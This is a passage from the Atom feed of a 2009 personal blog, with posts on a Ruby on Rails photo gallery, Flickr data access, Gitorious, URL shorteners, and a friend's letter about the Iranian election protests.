&lt;p&gt;Now $6000 is not something to file bankruptcy for. I can manage it. But lets assume that the Swedish music-streaming success and great service &lt;a href=&quot;http://spotify.com&quot;&gt;Spotify&lt;/a&gt; was started in Norway. &lt;a href=&quot;http://eu.techcrunch.com/2009/08/04/spotifys-e200-million-valuation-and-music-label-schmoozing-is-music-to-we7/&quot;&gt;Techcrunch reports their value at $250m&lt;/a&gt;. Lets also assume that founder &lt;a href=&quot;http://en.wikipedia.org/wiki/Daniel_Ek&quot;&gt;Daniel Ek&lt;/a&gt; owns 20% (actually I would think he has a larger share). With a 1,1% asset tax this results in a $550 000 bill to the Norwegian government. And this should be paid by a person who owns shares in a company that is yet to make even one dollar in profits. Now that is something to be worried about.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Balder - Open source photo gallery built with Ruby on Rails</title>
   <link href="http://blog.inspired.no/balder-open-source-photo-gallery-built-with-ruby-on-rails-693/"/>
   <updated>2009-11-09T00:00:00+01:00</updated>
   <id>http://blog.inspired.no/balder-open-source-photo-gallery-built-with-ruby-on-rails-693/</id>
   <content type="html">&lt;ul&gt;
	&lt;li&gt;&lt;a href=&quot;http://photos.inspired.no&quot;&gt;Public gallery showcase&lt;/a&gt;&lt;/li&gt;
	&lt;li&gt;&lt;a href=&quot;http://balderapp.com&quot;&gt;Homepage&lt;/a&gt;&lt;/li&gt;
	&lt;li&gt;&lt;a href=&quot;http://github.com/espen/balder/&quot;&gt;Source on GitHub&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So you got lots of photos, yeah? Tried installing some PHP-gallery and it sucked? Or bought a &lt;a href=&quot;http://flickr.com&quot;&gt;Flickr&lt;/a&gt; Pro-account but want more control of how your photo collection is displayed (or still want &lt;a href=&quot;/this-just-on-photos-taken-as-hostages-on-flickr-688&quot;&gt;access to your data when you stop paying them&lt;/a&gt;)? Fear not; &lt;a href=&quot;http://balderapp.com&quot;&gt;Balder&lt;/a&gt; is here for the rescue.&lt;/p&gt;

&lt;p&gt;As a result of a project with two photographers I did this summer I have now open sourced the code and named it Balder. It is a photo gallery built in Ruby on Rails. It aims to be minimalistically beautiful and simple to use. Look at it as Flickr on your own server - without the social features that is.&lt;/p&gt;

&lt;p&gt;So what can it do?&lt;/p&gt;
&lt;ul&gt;
	&lt;li&gt;Organize in albums (as events in iPhoto)&lt;/li&gt;
	&lt;li&gt;Combine albums in collections (as albums in iPhoto)&lt;/li&gt;
	&lt;li&gt;Stores photos to disk in folders&lt;/li&gt;
	&lt;li&gt;Create multiple thumbnails of custom sizes&lt;/li&gt;
	&lt;li&gt;Read and writes EXIF/IPTC title, description and keywords&lt;/li&gt;
	&lt;li&gt;Upload multiple photos in one go (can also scan existing folder structure)&lt;/li&gt;
	&lt;li&gt;Tag photos. Can also tag albums (or the result is that all photos in the album is tagged)&lt;/li&gt;
	&lt;li&gt;User management with roles and permissions&lt;/li&gt;
	&lt;li&gt;Geo-location of albums &amp;amp; photos with Google Maps integration.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you want to see it in action look no further than to this domain. After my &lt;a href=&quot;http://travel.inspired.no&quot;&gt;10-month trip&lt;/a&gt; in 2008 I took a few photos and you can see a selection at &lt;a href=&quot;http://photos.inspired.no&quot;&gt;photos.inspired.no&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;And this is how it looks for the administrator:&lt;/p&gt;

&lt;p&gt;Upload multiple photos with live progress:
&lt;img src=&quot;http://balderapp.com/images/upload_photos_progress.png&quot; alt=&quot;Upload photos in Balder&quot; style=&quot;border:1px solid #000;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Add albums to collection:
&lt;img src=&quot;http://balderapp.com/images/album-add-to-collection.png&quot; alt=&quot;Add albums to collection in Balder&quot; style=&quot;border:1px solid #000;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Want to try it out? Head over to &lt;a href=&quot;http://balderapp.com&quot;&gt;BalderApp.com for this free open source Ruby on Rails photo gallery&lt;/a&gt; or go directly to the source-code which you can find at both &lt;a href=&quot;http://github.com/espen/balder&quot;&gt;GitHub&lt;/a&gt; and &lt;a href=&quot;http://gitorious.org/balder&quot;&gt;Gitorious&lt;/a&gt;.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>This just in: Photos taken as hostages on Flickr</title>
   <link href="http://blog.inspired.no/this-just-on-photos-taken-as-hostages-on-flickr-688/"/>
   <updated>2009-06-23T00:00:00+02:00</updated>
   <id>http://blog.inspired.no/this-just-on-photos-taken-as-hostages-on-flickr-688/</id>
   <content type="html">&lt;p&gt;&lt;img class=&quot;alignnone&quot; title=&quot;Flickr hostage&quot; src=&quot;http://farm3.static.flickr.com/2188/3653247019_30f00da588.jpg&quot; alt=&quot;&quot; width=&quot;500&quot; height=&quot;288&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://www.flickr.com/photos/_johan_/&quot;&gt;Johan&lt;/a&gt; is in the same situation as me; had &lt;a href=&quot;http://flickr.com&quot;&gt;Flickr&lt;/a&gt; Pro for a while and didn’t really feel the need to continue it. My pro account expired in April and I should have backed up all my photos because now I have to pay $24,95 to be able to do so. With a free account only the latest 200 photos are available. Not only public but in the organization tool in Flickr as well as the API.&lt;/p&gt;

&lt;p&gt;This is a very good example of the type of problems that exists with storing data in the cloud. We as users must demand access to our own data, whether we continue to pay for the service or not.&lt;/p&gt;

&lt;p&gt;I am making a &lt;a href=&quot;http://photos.inspired.no&quot;&gt;photo gallery&lt;/a&gt; myself and it is currently in beta. I plan to include an import function that will utilize the Flickr API; download the most recent photos and delete them when their saved on my own server. This way I should be able to get out all of MY photos.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>A letter from Iran</title>
   <link href="http://blog.inspired.no/a-letter-from-iran-684/"/>
   <updated>2009-06-18T00:00:00+02:00</updated>
   <id>http://blog.inspired.no/a-letter-from-iran-684/</id>
   <content type="html">&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;&quot;&gt;hi espen&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;&quot;&gt;how r u? here every things is close. thats why i cant come on line in face book.even messenger... just very slowly smtimes yahoo.... sms is close. and most of day even phones r close...&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;&quot;&gt;what can i say about their violence? u cant even emagine that... plz tell me what things u want to know?&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;&quot;&gt;just i can say here is hill. everybody that u ask elected musavi... but see... its very hard when u know they r cheating u and u cant even shout or say give my right. all over the city is full of souldures and polices and.... some of them r from libenan, its funny that he pay money to arabic people to kill and beat iranian coz they want their right.&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;&quot;&gt;every day we go to protest... every night people r out...some with car and some walking.... they bleep to show their opositions.&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;&quot;&gt;i dont know what will happen to us...! but this not humanity.&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;&quot;&gt;today was the cermoney of people who died, they killed... and there r too much more the ones who r arrested and in prison they persecute them... i saw manythings by my eyes, they beated me too just coz i was walking in street...&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;&quot;&gt;any way, im really not good. i feel very sad now and dont know what can we do?!!!&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;&quot;&gt;they dont want even to count again , even if they do now its not reallity. they changed everythings... and our leader khamenei send congradulation to ahmadi nejad!&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;&quot;&gt;in saturday, counting finished in 2 oclock but they called on 8 oclock, before it get finish. 24 million... really funny. in all newspaper that reacived in our hand at 11,(3hours before counting finish) they said ahmadi nejad was win...&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;&quot;&gt;so they think people r stupid. but this time nobody accepted. but unfortunally just in tehran. coz people in other cities dont have risk and they affraid, if they beat one of them they even dont come out. and in tehran also, how do u think? how many days more people can come out and protest and...?!!!!!! they r dictator. finally they will get tired and force to accept, same as always...&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;&quot;&gt;before election i talked with many people in all cities... %80 said musavi... how can it be possible?!!! and if they r right, why they dont care about people who r shouting give back my vote? its not election, its selection......? why all phones r close? why they kill? they dont let people show....&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;&quot;&gt;and these people who r out r %20 of opositions. for example arround me, everybody elected musavi, but now they dont come out,they affraid... so, see this %20... everybody who can think, understand its rigging.&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;&quot;&gt;actually people r tired of this regim. musavi was a excues that they come out against of them.we didnt have too much choise.and all of our choises force to work for this government and regim,they have to.so we had to choose between them.  but for sure every one of them would be better than ahmadinejad.&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;&quot;&gt;any way, u say about there and ur news about iran there and other places. what and how do u feel about it and what will happen from ur side?&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;&quot;&gt;take care&lt;/div&gt;
&lt;p&gt;hi espen&lt;/p&gt;

&lt;p&gt;how r u? here every things is close. thats why i cant come on line in face book.even messenger… just very slowly smtimes yahoo…. sms is close. and most of day even phones r close…&lt;/p&gt;

&lt;p&gt;what can i say about their violence? u cant even emagine that… plz tell me what things u want to know?&lt;/p&gt;

&lt;p&gt;just i can say here is hill. everybody that u ask elected musavi… but see… its very hard when u know they r cheating u and u cant even shout or say give my right. all over the city is full of souldures and polices and…. some of them r from libenan, its funny that he pay money to arabic people to kill and beat iranian coz they want their right.&lt;/p&gt;

&lt;p&gt;every day we go to protest… every night people r out…some with car and some walking…. they bleep to show their opositions.&lt;/p&gt;

&lt;p&gt;i dont know what will happen to us…! but this not humanity.&lt;/p&gt;

&lt;p&gt;today was the cermoney of people who died, they killed… and there r too much more the ones who r arrested and in prison they persecute them… i saw manythings by my eyes, they beated me too just coz i was walking in street…&lt;/p&gt;

&lt;p&gt;any way, im really not good. i feel very sad now and dont know what can we do?!!!&lt;/p&gt;

&lt;p&gt;they dont want even to count again , even if they do now its not reallity. they changed everythings… and our leader khamenei send congradulation to ahmadi nejad!&lt;/p&gt;

&lt;p&gt;in saturday, counting finished in 2 oclock but they called on 8 oclock, before it get finish. 24 million… really funny. in all newspaper that reacived in our hand at 11,(3hours before counting finish) they said ahmadi nejad was win…&lt;/p&gt;

&lt;p&gt;so they think people r stupid. but this time nobody accepted. but unfortunally just in tehran. coz people in other cities dont have risk and they affraid, if they beat one of them they even dont come out. and in tehran also, how do u think? how many days more people can come out and protest and…?!!!!!! they r dictator. finally they will get tired and force to accept, same as always…&lt;/p&gt;

&lt;p&gt;before election i talked with many people in all cities… %80 said musavi… how can it be possible?!!! and if they r right, why they dont care about people who r shouting give back my vote? its not election, its selection……? why all phones r close? why they kill? they dont let people show….&lt;/p&gt;

&lt;p&gt;and these people who r out r %20 of opositions. for example arround me, everybody elected musavi, but now they dont come out,they affraid… so, see this %20… everybody who can think, understand its rigging.&lt;/p&gt;

&lt;p&gt;actually people r tired of this regim. musavi was a excues that they come out against of them.we didnt have too much choise.and all of our choises force to work for this government and regim,they have to.so we had to choose between them.  but for sure every one of them would be better than ahmadinejad.&lt;/p&gt;

&lt;p&gt;any way, u say about there and ur news about iran there and other places. what and how do u feel about it and what will happen from ur side?&lt;/p&gt;

&lt;p&gt;take care
[name removed]&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Engelab Iran</title>
   <link href="http://blog.inspired.no/engelab-iran-673/"/>
   <updated>2009-06-17T00:00:00+02:00</updated>
   <id>http://blog.inspired.no/engelab-iran-673/</id>
   <content type="html">&lt;p&gt;I spent three months in Iran last year and got introduced to the most welcoming people I have ever met on my travels. Iranian hospitality is legendary and was impressive by both the young, rich and liberal in north Tehran as well as large poor families in conservative rural towns. I also made some good friends there who I keep thinking of while these current events keep escalating.&lt;/p&gt;

&lt;p&gt;Me and two Italian friends had dinner at Naghsh-e Jahan Square in Isfahan. The second largest square after Tiananmen square in China. The three girls on the next table were pretty and not at all shy. They showed us around town and bought us lunch (no argument there).&lt;/p&gt;

&lt;p&gt;And this is what it looked like today, filled with &lt;em&gt;brave Iranians fighting for their rights&lt;/em&gt; and for their vote to count.&lt;/p&gt;

&lt;p&gt;&lt;img class=&quot;alignnone&quot; title=&quot;isfahan&quot; src=&quot;http://farm4.static.flickr.com/3400/3634327482_b803f31cff.jpg?v=0&quot; alt=&quot;&quot; width=&quot;500&quot; height=&quot;333&quot; /&gt;&lt;/p&gt;

&lt;p&gt;My friends in Isfahan went to the university and lived at the dormotories. Earlier today there were reports of &lt;strong&gt;attacks on the dormotory&lt;/strong&gt; there and &lt;a href=&quot;http://www.facebook.com/video/video.php?v=1101321063779&amp;amp;ref=nf&quot;&gt;this video confirms it.&lt;/a&gt; I hope they are ok.&lt;/p&gt;

&lt;p&gt;Most people see Iran as an axis of evil. A dangerous place. With fanatical and religious people. I have &lt;a href=&quot;http://blog.inspired.no/snowboarding-in-iran-609&quot;&gt;written before about the truth&lt;/a&gt; about Iran and its people. But even so I am surprised about the turnout of these demonstrations and how brave the people are for standing up to their government. When I was there I tried talking to people about the problems that exists because of their leader and the way the state is structutured. Most people were very dissatisfied with the government but they seemed to be very apathatic about making any changes. They tried to live their lives and kept their joys in private. Maybe this time the government pushed too far with their fraud. Or maybe they saw that when (even) America can &lt;a href=&quot;http://change.gov&quot;&gt;CHANGE&lt;/a&gt; so can Iran. Another thing to remember is that Iran tried this 30 years ago. These events are in some ways very much alike to what happened when Khomehni took power. The people were dissatisfied with the Shah (king) and wanted a true democracy. Khomehni promised it but as we all now did not live up to his words. The result is that Iranians have until now been very reluctant to make such a major change again.&lt;/p&gt;

&lt;p&gt;These events also make me think how lucky my timing was last year. I was in Tehran in early 2008 and suddenly there was an election which was all new to me. But it was a local election. I went out on the streets to check it out but it was a ghost town except for a small crowd of 50 people outside the university where the voting booth was. One old man shouted “Bush - monkey. Bush - monkey” and I smiled and said “balle” - “yes”. Earlier that month another important event occurred in Tehran - the day of the revolution. About a million conservative Iranians parades in the streets along with me and two Norwegian girls. But it was a peaceful day out for families and people were smiling.&lt;/p&gt;

&lt;p&gt;While I am worried for my friends in Iran and worried that the demonstration will be cracked down upon without any result, or maybe even for the worse, I am still glad to see these events occuring. A change for a slightly more liberal president is not enough. A revolution is needed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Engelab Iran - Azadi.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Revolution Iran - Freedom.&lt;/strong&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Google releases Page Speed for Firebug</title>
   <link href="http://blog.inspired.no/google-releases-page-speed-for-firebug-665/"/>
   <updated>2009-06-04T00:00:00+02:00</updated>
   <id>http://blog.inspired.no/google-releases-page-speed-for-firebug-665/</id>
   <content type="html">&lt;p&gt;Users of the excellent &lt;a href=&quot;http://www.getfirebug.com/&quot;&gt;Firebug&lt;/a&gt; debug tool for &lt;a href=&quot;http://getfirefox.com&quot;&gt;Firefox&lt;/a&gt; probably also uses &lt;a href=&quot;http://developer.yahoo.com/yslow/&quot;&gt;YSlow&lt;/a&gt;, a performance analyzer from Yahoo! It gives good tips for decreasing page load time such as gzipping static files or combining javascript files. Google has now &lt;a href=&quot;http://googlewebmastercentral.blogspot.com/2009/06/introducing-page-speed.html&quot;&gt;released a similar add-on&lt;/a&gt; for Firebug called Page Speed. It is very similar to YSlow but it also introduces a new tab feature called”Page speed activity”, a request overview, and in addition to giving performance suggestions it also tells you the improvements of implementing the suggested changes.&lt;/p&gt;

&lt;p&gt;&lt;img class=&quot;alignnone size-full wp-image-668&quot; title=&quot;improvements-1&quot; src=&quot;http://blog.inspired.no/wp-content/uploads/2009/06/improvements-1.png&quot; alt=&quot;improvements-1&quot; width=&quot;589&quot; height=&quot;138&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://code.google.com/speed/page-speed/&quot;&gt;You can find Page Speed over at Google Code.&lt;/a&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Let them all win..</title>
   <link href="http://blog.inspired.no/let-them-all-win-661/"/>
   <updated>2009-05-20T00:00:00+02:00</updated>
   <id>http://blog.inspired.no/let-them-all-win-661/</id>
   <content type="html">&lt;p&gt;Quite a diplomatic result for the winners in the “browsing” category in &lt;a href=&quot;http://www.webware.com/100/&quot;&gt;CNET’s Webware 100&lt;/a&gt;: Firefox, Flock, Google Chrome, Internet Explorer 8, Maxthon, Opera and Safari. In addition to all the browsers and browser-shells Diigo, iGoogle and XMarks won as well.&lt;/p&gt;

&lt;p&gt;&lt;img class=&quot;alignnone size-full wp-image-662&quot; title=&quot;webware-100-2009-cnet&quot; src=&quot;http://blog.inspired.no/wp-content/uploads/2009/05/webware-100-2009-cnet.png&quot; alt=&quot;webware-100-2009-cnet&quot; width=&quot;602&quot; height=&quot;105&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I suggest that CNET drops this category.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Gitorious - free open source git project hosting</title>
   <link href="http://blog.inspired.no/gitorious-free-open-source-git-project-hosting-646/"/>
   <updated>2009-05-11T00:00:00+02:00</updated>
   <id>http://blog.inspired.no/gitorious-free-open-source-git-project-hosting-646/</id>
   <content type="html">&lt;p&gt;&lt;a href=&quot;http://github.com&quot;&gt;GitHub&lt;/a&gt; is a very popular repository hosting for open source ruby projects. &lt;a href=&quot;http://git-scm.com/&quot;&gt;Git&lt;/a&gt; is a version control system similar to (but a lot better than) SVN. I use git hosted on GitHub for my current project, &lt;a href=&quot;http://makeplans.no&quot;&gt;MakePlans - a booking/reservation system&lt;/a&gt;. But for many is GitHub not a viable alternative since it is not free for non open-source projects and while it is great for many to outsource backups and repository management, it is not an option for those who needs to host it in-house due to security or other internal guidelines.&lt;/p&gt;

&lt;p&gt;Enter &lt;a href=&quot;http://gitorious.org&quot;&gt;Gitorious&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://twitter.com/johans&quot;&gt;Johan Sørensen&lt;/a&gt; from &lt;a href=&quot;http://shortcut.no&quot;&gt;Shortcut&lt;/a&gt;, a ruby on rails company here in Oslo, made this amazing free open-source &lt;span style=&quot;text-decoration: line-through;&quot;&gt;“GitHub-clone”&lt;/span&gt; (update: Gitorious was launched the same week as GitHub.). It has been available as a open-source project for awhile but &lt;a href=&quot;http://blog.gitorious.org/2009/05/09/weve-made-a-few-changes/&quot;&gt;recently Shortcut&lt;/a&gt; made a free public site available for those who do not want to install Gitorious themselves.&lt;/p&gt;

&lt;p&gt;&lt;img class=&quot;alignnone size-full wp-image-649&quot; title=&quot;Gitorious source viewer&quot; src=&quot;http://blog.inspired.no/wp-content/uploads/2009/05/gitorious_source-1.png&quot; alt=&quot;Gitorious source viewer&quot; width=&quot;567&quot; height=&quot;242&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Gitorious boost most of the features that GitHub has:&lt;/p&gt;
&lt;ul&gt;
	&lt;li&gt;Host git-repositories.&lt;/li&gt;
	&lt;li&gt;Visual source browser.&lt;/li&gt;
	&lt;li&gt;Teams.&lt;/li&gt;
	&lt;li&gt;History of the commit log.&lt;/li&gt;
	&lt;li&gt;Clone/fork projects, download zipped file.&lt;/li&gt;
	&lt;li&gt;Comments.&lt;/li&gt;
	&lt;li&gt;Notficitation system.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;On a day to day basis the source tree browser is what I most often use with GitHub. It is ajax-based and loads commit messages after the rest of the page is loaded. This is often a slow process in GitHub and something that works much better in Gitorious where no ajax is used.&lt;/p&gt;

&lt;p&gt;There is not much I miss from GitHub, but I cannot see a way to constantly watch others repositories as is possible in GitHub. I follow various rails-projects in GitHub but I use it mainly as a form of bookmark so it is not a very important feature for me.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://labs.trolltech.com/blogs/2009/05/11/qt-public-repository-launched/&quot;&gt;QT announced today&lt;/a&gt; that they will use Gitorious as their public repository for their cross-platform UI framework. Hopefully more will follow so Gitorious can gain the attention it deserves compared to GitHub.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>The Problem with URL Shorteners: ow.ly Server Errors</title>
   <link href="http://blog.inspired.no/the-problem-with-url-shorteners-owly-server-errors-644/"/>
   <updated>2009-04-14T00:00:00+02:00</updated>
   <id>http://blog.inspired.no/the-problem-with-url-shorteners-owly-server-errors-644/</id>
   <content type="html">&lt;p&gt;&lt;a href=&quot;http://www.cloudave.com/link/the-problem-with-url-shorteners-ow-ly-server-errors&quot;&gt;This is a cross-post from CloudAve.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;span&gt;&lt;img class=&quot;alCenter&quot; style=&quot;border: 1px solid black; margin: 0px 2px; padding: 5px;&quot; title=&quot;Ow.ly server error&quot; src=&quot;http://www.cloudave.com/image/50000000400375/ow.ly%20url%20shortener%20-%20shrink%20urls%20and%20get%20statistics%20-%20owly.png&quot; alt=&quot;&quot; /&gt;&lt;/span&gt;
If you currently click on a &lt;span&gt;&lt;a href=&quot;http://ow.ly&quot;&gt;ow.ly&lt;/a&gt; &lt;/span&gt;shortened URL you will be shown a server error page at ow.ly - not the URL you or the publisher intended you to see. Proponents of these services have so far ignored the main problem; trusting a third party. I guess they see the problem now when potential visitors to their site are stopped by a server error on someone else’s site.
The question of trust in this regard is especially important because these services has no working business model. Also any developer can create such a service in less than an hour making the barriers of entry for this service extremely low. Expect to see URL shortener services changing their tactics: &lt;span&gt;&lt;a href=&quot;http://digg.com&quot;&gt;Digg&lt;/a&gt;&lt;/span&gt; launched their already &lt;span&gt;&lt;a href=&quot;http://daringfireball.net/2009/04/how_to_block_the_diggbar&quot;&gt;much hated&lt;/a&gt;&lt;/span&gt; DiggBar last week. This service unlike most other url shortener services wraps the actual landing page in a frame and adds a top-frame bar with Digg information. Ow.ly is also now doing this (unsure if this feature is new to this service). The problem for site owners is that they have no control over how these services will change. DiggBar is already “stealing” link-juice by having a digg-shortened link &lt;span&gt;&lt;a href=&quot;http://daringfireball.net/linked/2009/04/14/diggbar-delicious&quot;&gt;on Delicious instead of the original url&lt;/a&gt;&lt;/span&gt;. Also DiggBar and Ow.ly responds with a frameset (200 http status code) instead of a redirect (301 http status code). This can result in a lower pagerank as Google will not see the link from “Site X” to “Site Y” but instead from Digg.com to “Site Y”. In my view &lt;span&gt;&lt;a href=&quot;http://www.techcrunch.com/2009/04/06/are-url-shorteners-a-necessary-evil-or-just-evil/&quot;&gt;URL shorteners are just plain evil.&lt;/a&gt; They add an extra &lt;span&gt;&lt;a href=&quot;http://joshua.schachter.org/2009/04/on-url-shorteners.html&quot;&gt;unnecessary layer&lt;/a&gt;&lt;/span&gt; on the web.&lt;/span&gt;&lt;/p&gt;
</content>
 </entry>
 
 
</feed>